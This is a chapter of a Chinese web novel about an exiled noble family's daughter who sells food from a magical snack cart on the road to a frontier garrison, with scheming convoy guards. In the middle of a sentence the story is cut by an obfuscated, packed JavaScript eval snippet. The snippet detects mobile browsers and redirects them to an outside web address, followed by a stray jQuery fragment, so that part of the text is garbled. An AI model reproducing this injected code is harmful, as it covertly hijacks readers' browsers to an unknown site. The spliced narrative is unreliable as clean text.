集市不比县城、郡城,铺子少得可怜,大多都是小摊。
钟昭意寻遍整个集市,只有估价挺坑的那一家当铺。
难怪坑人眼都不眨。
眼下还没过山海关,钟昭意决定留着金珠、玉佩,等到下一个县城或郡城,再找家当铺问问。
她做下决定后放慢脚步,两手推着小摊车,扫视集市上还没收的小摊。
时兴蔬菜瓜果、糙米面粉、猪肉鸡鸭、河里捞的鱼虾……
钟昭意考虑到小摊车里摆摊炒饭应有的一应食材自动补货,和手头不多的铜板,并没有买什么瓜果蔬菜之类的。
只买了几个肉包子,又到杂货铺里买了两沓草纸、几条细麻布,一块遮阳的头巾,六包治感冒腹泻外伤的草药包。
其实小摊车里有抽纸,没必要再买草纸。
只不过钟昭意胎穿这么些年,用的最好的纸都比不上抽纸,她不敢当着那么多人的面拿出来用,以免惹来没必要的麻烦。
至于细麻布,是留待来月信时用的,对她对娘来说都是必需品,得提前备好。
集市不算大,钟昭意推着小摊车逛了两圈,也才过去一炷香左右。
她裹好头巾遮阳,正打算离开集市,忽然被人喊住。
当铺掌柜特地堵在离开集市的路口,笑眯眯地说:
“这位姑娘,我看你急着当掉那东西,可是家中有急事?
哎呀呀,是我考虑不周,你随我回当铺,这价钱,我们可以坐下慢慢商量。”
“稍等。”钟昭意当着当铺掌柜的面,推车出了集市。
就在当铺掌柜以为她要抬价时,钟昭意利落翻身骑上小摊车,手一拧车把,‘嗡’一声开出五六米。
尘土飞扬,遮挡住了视线,当铺掌柜连呛几下,定眼一看,连人带小摊,早已不见踪影。
*
晌午刚过,两个去集市的差役招呼了辆驴车赶到最近的驿站外,驴车上堆满十几个大包袱。
陈元吆喝同僚卸了包袱放在囚车上,付了赶驴车的铜板后,左右前后打望几眼:
“徐哥呢?”
胡子拉碴的差役叹口气,往不远处的大驿站一指:
“还在吵呢,那些个驿站的人,只给了三天的吃食,还都是糠饼,包括我们吃的在内。
你说说,这么多人,就给三天的吃食,顶什么用?”
他左右看看,压低了声音,悄声说:
“我怀疑,有人故意针对……”
陈元看他一眼,心知他话里有话。
被故意针对的,不是徐统领,也不是押送囚犯的差役,只可能是囚犯中的某些人。
他们不过遭了连累罢了。
押送这活,可不好干。
陈元无奈摇摇头,走到囚车旁,开始分包袱。
这些个包袱里的吃食,大部分是徐哥采买的,小部分是囚犯花银子央着他们买的。
陈元一边在心里感叹得亏徐哥有先见之明,提前喊他们到集市采买馒头,一边喊了连岭和其他差役,谁从囚犯手里揽的活,谁亲自分包袱。
连岭赶了一路,被晒得眼花花,坐下刚喘了口气,就被陈元喊了声。
他慢腾腾从石头上站起,还没迈开腿,就被迎面走来的吴双强行揽到无人的角落。
吴双回头看看驿站的方向,低声问:
“钟昭意呢?让你试探她,试探的如何?”
一提到钟昭意,连岭下意识想起集市上吃的锅贴,他舔舔干涩的嘴唇,解下水囊喝了口水润润嗓子后,心不在焉地说:
“楚秉钧的木牌就在她腰上挂着,还能试探出个什么结果?”
连岭看向吴双,微微眯起眼,不经意地说:
“唉,我刚听几个同僚说起,徐哥都要不到口粮,这趟押送可真是倒霉透顶!
吴哥,我要是你,我可不吃这个苦头,从京城押送一群囚犯去铁岭卫,路上又累又饿,还得经受酷暑和严寒,何必呢。”
“你懂什么?”
吴双摸摸下巴,瞥一眼嚼糠饼的钟锦和三人,狐疑地问。
“你小子该不会倒向钟昭意了吧?看在多年交情上,我可提醒你一句,钟家垮台已是既定事实。
别说区区一个楚秉钧,就是盛郡王本人,都无力扭转乾坤!
与其惦记钟昭意许诺的那点好处,不如将实打实的银子拿到手。”
实打实的银子,说的当然是从囚犯手里弄些银子。
这算是押送囚犯时的陋规,和官员们三节两寿、冰敬炭敬相差不多。
这批押送的囚犯人多,个个曾经家世不俗,手头或多或少藏了些银子。
押送一趟来回才得几个钱,哪有从囚犯手里弄银子来得快且多?
连岭揽住吴双的肩膀,嬉皮笑脸地说:
“吴哥,你说什么呢,就算我有心巴结钟昭意,也得人家瞧得上我。
你是不知道我试探时她态度有多倨傲,流言还说钟昭意性子温和,不常与人为难,我看啊,这话说的半点都不准。
我憋了一肚子火气,恨不得当场弄死她,可惜被陈元拦下了。唉,你也知道陈元是徐哥的亲信,徐哥现下可是统领,我不好跟他对着干。”
连岭长叹一口气,话里满满都是遗憾:
“吴哥,你那小姨子不是进了个大官府上当姨娘?她怎么不帮你安排安排,让你当这一趟押送囚犯的统领呢?
但凡你成了统领,还轮得到钟昭意得意?兄弟们也没了顾忌,要多少银子就有多少银子。”
吴双盯着他扫了几眼,见他脸上的不满与憋闷不像是假的,可算放下心,随口说:
“你以为就你聪明?谁不知道这一趟押送有的是赚头?我背后有人,其他人同样有靠山,上官谁也不想得罪,干脆将这活扔给徐蓬。”
连岭‘啧’了一声:“那他运气挺好,怪不得他拘着我们,这也不让干,那也不让干的。”
他拍拍吴双的胸膛:“吴哥,下回可别让我干这种事儿了,我这一趟是和陈元打好了关系,但我可不乐意应付钟昭意那臭脾气。”
吴双思索几个呼吸,轻声问:“钟昭意当真如此嚣张?平时可看不出来。”
连岭耸耸肩:
“倒不是嚣张,只是瞧不起我等这些底层差役罢了。
唉,谁让楚秉钧得新帝看重,不日就将升官呢,加之盛郡王再落魄,终究是个郡王,钟昭意有的是底气。”
吴双:“……”
钟云宴赶路赶得浑身酸疼,可身上的酸疼,终究比不上对还没回来的姐姐的担心,和啃糠饼时的干硬与剌嗓子。
爹娘早已趁那个叫陈元的差役给钟嫣然送采买的吃食时,问过姐姐的行踪。
钟云宴闲着也是闲着,干脆盯着差役回来的那条路,期盼姐姐平安归来。
因此,他亲眼看到两个差役鬼鬼祟祟躲到一边,不时朝他们投来一个眼神。
钟云宴拿木枷撞了撞钟锦和的木枷,低声说:
“爹,那俩差役好像在说我们的坏话。”
钟锦和还在惦记昭意的安危,虽说陈元提过一句,称那集市的百姓还挺淳朴,且昭意做的锅贴非常受欢迎,他依旧有些担心。
放到以前,昭意每回出伯府,身边起码带上两个丫鬟,四个会武的小厮和两个马夫的。
跟在他们眼皮子底下还好说,差役徐蓬又得了楚秉钧的提点,多少也会照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356507|199688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应着些。
人一离开视线,钟锦和和刘妙仪便忍不住担心起来。
钟锦和在心底暗骂楚秉钧的同时,面上镇定自若,轻声安抚累到靠在他身上的刘妙仪。
再听不靠谱的儿子说这话,他瞅瞅并肩走来的两个差役:
“隔这么远,你还能听到他们说的话?”
钟云宴往后靠在爹另一边肩膀上:
“听是没听到,但我看多了别人骂我的样子,一看就知道了。”
刘妙仪闭了闭眼,心说有这么个儿子和相公,她真是倒了八辈子的霉!
钟锦和同样懒得搭理钟云宴,和懂事体贴的昭意一比,这小子就跟个混世魔王一样,半点都不省心。
钟云宴嘀嘀咕咕又说了两句,见爹娘没一个搭理他的,也就不说了。
直到他仗着些许身高优势和锐利视线,瞟见从远处驰来的小摊车,立马用力撞了下爹娘:
“姐回来了!”
第一个字眼刚出口,刘妙仪便睁开了眼睛,费力站起身,远远眺望集市所在的方向。
钟昭意隔着一段距离就瞧见娘、爹和云宴先后站起望向她。
她心中一定,稍稍放慢车速,找了处阴凉地停下,再揣上几个热乎着的肉包子,扫视四周找徐蓬。
陈元注意到她的视线,大咧咧地说:
“你去就是了,别耽搁太久。”
钟昭意轻声道了谢,走到爹娘身边,一人塞了两个肉包子:
“快吃,刚买没多久,热乎着呢。”
见梁司笙亮起眼睛看她,钟昭意不着痕迹将金珠塞回去,小声说:
“集市上的当铺不靠谱,估价只值五十个铜板,回头路过县城郡城,再问问也不迟。”
梁司笙一开始还在纳闷,听钟昭意说完估价,脸都沉了。
这枚金珠不大,可经由工匠之手精雕细琢过,内里又是实心的。
就算没多重,也不至于连十两银子都当不到。
只怕那当铺掌柜故意坑人呢!
梁司笙迟疑几个呼吸,重又将金珠塞到钟昭意手中,顶着钟家四人疑惑的视线,他飞快地说:
“我本想将金珠当来的银子分你一半,全当谢你冒风险替我儿子说情。
眼下既然当不出去,便由你保管着,待到当了银子后再分我一半就是。”
钟昭意皱眉,刚要拒绝,就被刘妙仪推了推,示意她看向驿站的方向。
只见徐蓬带了两个差役,和一位驿站的驿丞边聊边走来。
钟昭意立刻起身来到小摊车旁边,推着小摊车下了官道,停放在一旁的小路上。
她倒不是惧怕驿丞,只是多一事不如少一事,也免得徐蓬为难。
徐蓬出了驿站就瞥见停在树下的小吃摊,不停说话吸引驿丞的注意。
驿丞可不比急递铺的人好说话,尤其这处驿站不小,他又有求于人。
好在钟昭意及时注意到了这边的动静,赶在驿丞看过去前,推着小吃摊离开了官道。
“王大人,您瞧,跟解票上写的一样,人数可多。
贵驿站给的那些干粮,只够吃三日的,远远不够。”
王驿丞背过手,视线扫视一群囚犯,定在啃肉包子啃得正欢的钟锦和三人身上。
钟昭意专门挑了一家香味最浓的包子店,猪肉大葱馅的,馅料肥瘦相宜,香味扑鼻。
钟云宴本就吃不惯糠饼,一口气吃了两个肉包子,又被刘妙仪塞了一个,正埋头苦吃呢。
不吃饱,哪有力气赶路?
王驿丞转过头,意有所指地说:
“连肉包子都吃得上,这不是不缺干粮吗?你又何必为难我们一个小小驿站?”